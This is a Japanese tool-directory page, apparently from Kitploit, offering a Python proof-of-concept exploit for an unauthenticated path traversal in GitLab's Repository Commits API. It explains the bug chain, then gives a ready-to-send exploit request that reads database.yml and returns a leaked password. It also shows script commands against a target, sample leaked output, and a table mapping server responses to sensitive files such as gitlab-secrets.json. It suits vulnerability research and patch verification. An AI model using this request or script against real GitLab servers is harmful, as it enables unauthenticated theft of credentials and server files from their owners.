Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-85706 — CVE-2026-85706 の Python PoC。GitLab CE/EE Repository Commits API における未認証のパストラバーサルであり、4状態オラクルを介して任意のローカルファイルを漏洩します。 | Kitploit
ツール/GitHubGitHub/mhtsec/cve-2026-85706
偵察脆弱性分析エクスプロイトウェブアプリケーション悪用データ流出情報収集ウェブセキュリティペネトレーションテスト
GitHubmhtsec/cve-2026-85706

CVE-2026-85706

CVE-2026-85706 の Python PoC。GitLab CE/EE Repository Commits API における未認証のパストラバーサルであり、4状態オラクルを介して任意のローカルファイルを漏洩します。

リポジトリを見る
111時間22分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-85706:GitLab CE/EE 未認証パストラバーサル

  • CVE:CVE-2026-85706、CVSS 3.1 10.0(AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
  • コンポーネント:GitLab CE/EE Repository Commits API(Workhorse body-upload バリアント)
  • 影響:18.7 ≤ version < 19.1.8、19.2.0–19.2.5、19.3.0–19.3.1
  • 修正:19.1.8 / 19.2.6 / 19.3.2(2026-09-10 クリティカルパッチリリース)
  • 影響度:アカウント不要でパストラバーサルによりサーバー上の任意のローカルファイルを読み取り可能。内容がエコーバックされるかは対象ファイル次第であり、四状態オラクルを構成する(「エコー境界」参照)

脆弱性チェーン

GitLab の「commit 作成」API(POST /api/v4/projects/:id/repository/commits)は、1 回のリクエストで大量のファイル内容を送信できる。巨大なリクエストボディが直接 Rails のパーサーに入るのを避けるため、Workhorse はまずリクエストボディを一時ファイルに書き出し、file.path / file.size などのメタデータを転送リクエストに注入し、Rails エンドポイントはこれらのパラメータに従ってファイルを読み戻す。脆弱性チェーンは次の 4 つの要素の重なりによって成立する:

  1. 認証がファイル読み取りの後に行われる:post ':id/repository/commits' のエントリには require_gitlab_workhorse!(「Workhorse 経由で転送された」ことのみを検証)しかなく、実際の authenticate! は後方の authorize_push_to_branch! に隠れており、パストラバーサルによる読み取りはその前に発生する。
  2. 書き出しメタデータがリクエストパラメータから取得される:file_params_from_body_upload はリクエストパラメータ file.path / file.size / Content-Type を Workhorse が注入したメタデータとしてそのまま扱い、パラメータの出所を区別しないため、File.read(file_path) で任意のローカルパスをトラバースできる。
  3. Rack パースエラーのエコー:Content-Type=application/x-www-form-urlencoded の場合、ファイル内容は Rack::Utils.parse_nested_query に渡されてパースされる。内容中の不正な %-シーケンスが ArgumentError: invalid %-encoding (<コンポーネント内容>) を引き起こし、bad_request! を通じて 400 レスポンスにそのままエコーされる。エコーは先着順であり、& / = はコンポーネント境界であり、パースは最初の不正な % があるコンポーネントで中断しそのコンポーネントをエコーする。区切り文字がない場合、ファイル全体が 1 つのコンポーネントとして丸ごとエコーされる(正当な %xx 16 進エスケープはエラーを引き起こさない)。
  4. 末尾スラッシュによる Workhorse 書き換えのバイパス:メインエンドポイントを直接叩くと Workhorse の body-upload インターセプト(.../repository/commits\z に厳密一致)に引っかかり、偽造パラメータは書き出されたファイル内容に飲み込まれる。URL 末尾に / を付けるとこのルールに一致しなくなり、フォールバックの署名付きリバースプロキシに落ちる——元のリクエストボディが偽造パラメータごとそのまま Rails に転送され、有効な JWT を伴うため require_gitlab_workhorse! を通過する。Grape が末尾スラッシュを正規化した後も脆弱なハンドラに一致する。

前提条件:URL 中の :id は実在するプロジェクト(任意の公開プロジェクトで可)である必要があり、全行程でログイン不要。

悪用リクエスト(外部 DB 構成下の database.yml、パスワードに不正な % シーケンスが含まれる場合に全体がエコーされる):

root@kitploit:~
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded

レスポンス(最初の不正な % があるコンポーネントが丸ごとエコーされる):

root@kitploit:~
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n  adapter: postgresql\n  username: gitlab\n  password: \"P@ss%w0rd\" ...)"} 

エコー境界(四状態オラクル)

読み取りは Puma プロセスの git ユーザー権限で実行され、レスポンスは四状態オラクルを構成する:

デフォルト構成下での実際に読み取り可能な範囲(実測):

  • 内容読み取りの主戦場は自然に % を含むファイル:CI ビルドログと成果物、ユーザーアップロード添付ファイル、外部 DB 構成の database.yml。database.yml はデフォルトのローカル socket peer 認証ではパスワードフィールドが空であり、外部 DB 構成でのみ値を持つ。
  • gitlab.yml:レンダリング後のテンプレートコメントはファイル先頭(約 19 行目)に 95%、%{key} などのシーケンスが既に存在し、一方で資格情報設定(incoming_email、LDAP、オブジェクトストレージなど)は 170 行目以降にある——先着順とはつまりデフォルト構成では先頭セクションのみエコー可能で、資格情報セクションは読み出せない。干渉するシーケンスがない構成バリアント(カスタムテンプレートなど)でのみ読み取り可能。なお SMTP パスワード(gitlab_rails['smtp_password'])は gitlab.yml にレンダリングされず、実際にレンダリングされるのは incoming_email、LDAP、object_store の資格情報である。
  • secrets.yml は純粋な hex で % を含まないため内容は読み出せない(401)。gitlab.rb、TLS 秘密鍵、バックアップアーカイブは root-only(500 オラクルのみ)。
  • 四状態オラクル自体も偵察プリミティブである:内部パス構造の探索、/proc/self/* によるプロセス自己参照、プロジェクト ID から @hashed パスを換算してプライベートプロジェクトの存在を探索。

スクリプトの使い方

Python 3 標準ライブラリ実装で、サードパーティ依存なし。スクリプトは上表に従って四状態の結果を自動判定する。

root@kitploit:~
python3 exploit.py -t http://<target>:<port>        # デフォルトで gitlab.yml を読む(エコーの簡易検証)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd

出力例(デフォルト構成で gitlab.yml を読む——エコーされるのは資格情報セクションではなく先頭セクション):

root@kitploit:~
============================================================
  CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------

認可されたセキュリティテストおよび脆弱性研究のみに使用すること。

ツールをダウンロード
レスポンス意味例
400 local file not presentファイルが存在しない/etc/nonexistent
500 Internal Server Error存在するが git ユーザーに読み取り権限がない(Errno::EACCES が未処理)。multipart 分岐でも読み取り可能ファイルのパースエラーは同様に 500 になる/etc/shadow、/etc/gitlab/gitlab-secrets.json
401 Unauthorized存在し読み取り可能だが、内容に不正な % シーケンスがなくエコーされない/etc/passwd、/proc/self/environ
400 invalid %-encoding (<内容>)存在し、読み取り可能で不正な % シーケンスを含む——該当コンポーネントが丸ごとエコーされる% を含むログ、CI ビルド成果物、外部 DB の database.yml
パラメータ説明
-t対象 GitLab アドレス(必須)、例 http://<target>:<port>
-f読み取る絶対パス(デフォルト /var/opt/gitlab/gitlab-rails/etc/gitlab.yml)
-pプロジェクト ID、実在する任意のプロジェクトで可(デフォルト 1)
-o読み出した内容をローカルファイルに保存